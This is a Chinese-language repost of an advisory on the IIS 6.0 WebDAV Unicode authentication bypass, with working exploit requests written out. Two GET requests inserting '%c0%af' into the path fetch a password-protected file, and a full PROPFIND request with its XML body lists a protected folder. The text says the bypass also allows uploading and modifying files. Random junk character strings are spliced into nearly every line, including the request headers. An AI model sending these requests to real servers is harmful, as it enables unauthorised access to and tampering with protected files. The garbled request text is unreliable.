|
漏洞发现者:Nikolaos Rangos
& f2 s3 V6 g5 J9 m( k- X2 ~具体漏洞存在于带WebDAV功能的IIS 6.0中- R! |1 Z, X. f. C$ c' R/ r. |
Web服务器没有正确地处理Unicode命令的URI时,解析和发送回的数据. 7 _8 {+ ^/ i* g) R' @
假设有一个密码保护文件夹d:\inetpub\wwwroot\protected\ 4 t' P! [2 ^0 z+ F* g: W& Q
此文件夹内有一个名为 protected.zip ") ~5 E$ F9 z* z; j9 d3 M
向服务器发送一个HTTP GET请求2 c+ }) n7 x0 V' F3 u a
GET / %c0%af/protected/protected.zip HTTP/1.1
& j" }3 [( N: E# v$ p Translate: f
4 |8 D! `3 U% w2 Y' o- C Connection: close; _+ S J/ x9 O6 e, i; Y9 r7 m _
Host: servernameMu' T$ O* E8 Z- {9 C0 O
指示Web服务器处理请求使用 WebDAV的1 n i! L1 f6 Z; M
利用这种恶意的URI构建网络服务器发送文件到- [+ Z- x1 p6 p, i' W, o
/protected/ protected.zip ”而不要求进行适当的验证) {6 b W6 z. F' E# v- i
另一个有效的请求可能会传送到Web服务器是: GET /prot%c0%afected/protected.zip HTTP/1.1: A+ @8 D4 h# d0 v
Translate: f 4 r- y9 }. I# M8 [- y/ r
Connection: close * B, e% E2 R# |9 d$ P: f
Host: servername
4 d j* @# m3 g$ t; ~IIS 6.0中将会删除„%c0%af” 的请求,并发送回密码保护文件而不验证. # s; M" P9 r$ l
ASP脚本不能下载,除非以这种方式提供服务的脚本源代码是启用的 4 S Y& w5 c- C4 h
可以绕过访问限制的,密码保护文件夹和列表,下载,上传和修改文件
2 y8 x4 S h2 a' g& {7 z+ a. [Copy code PROPFIND /protec%c0%afted/ HTTP/1.10 m6 h3 X9 W3 G9 n
Host: servername
c* X+ c; n. U+ {, B User-Agent: neo/0.12.2
A+ C) U" j; ]2 E Connection: TE
' J2 ?, r( A& k( ] TE: trailers
) z3 _% ^ ]. o8 \ Depth: 1 / {7 m0 m2 N% u1 [! A2 H
Content-Length: 288
$ ^& D5 G6 n1 w. K, z4 H: Q+ D! V Content-Type: application/xml
( X$ ]2 U: W: P* ~/ C5 `% w <?xml version="1.0" encoding="utf-8"?>: P) c& B7 h. h# @# i/ e9 t# V
<propfind xmlns="DAV:"><prop>0 \$ E) n2 P: ^8 N+ D5 K
<getcontentlength xmlns="DAV:"/>
% h" c) L- a. ]+ D$ [5 A2 z <getlastmodified xmlns="DAV:"/>
# E; h) i6 g3 W" u <executable xmlns="http://apache.org/dav/props/"/>
% C( S3 _7 s J8 N1 c3 m <resourcetype xmlns="DAV:"/>
+ o& J$ l! B% ?# v7 _ <checked-in xmlns="DAV:"/> . e5 m/ ~& N7 M1 a
<checked-out xmlns="DAV:"/>
- _" Y+ r$ p/ y* r' U* M </prop></propfind> IIS的回应的目录列表的文件夹中没有要求输入密码 / N' F. R$ u& |1 j
|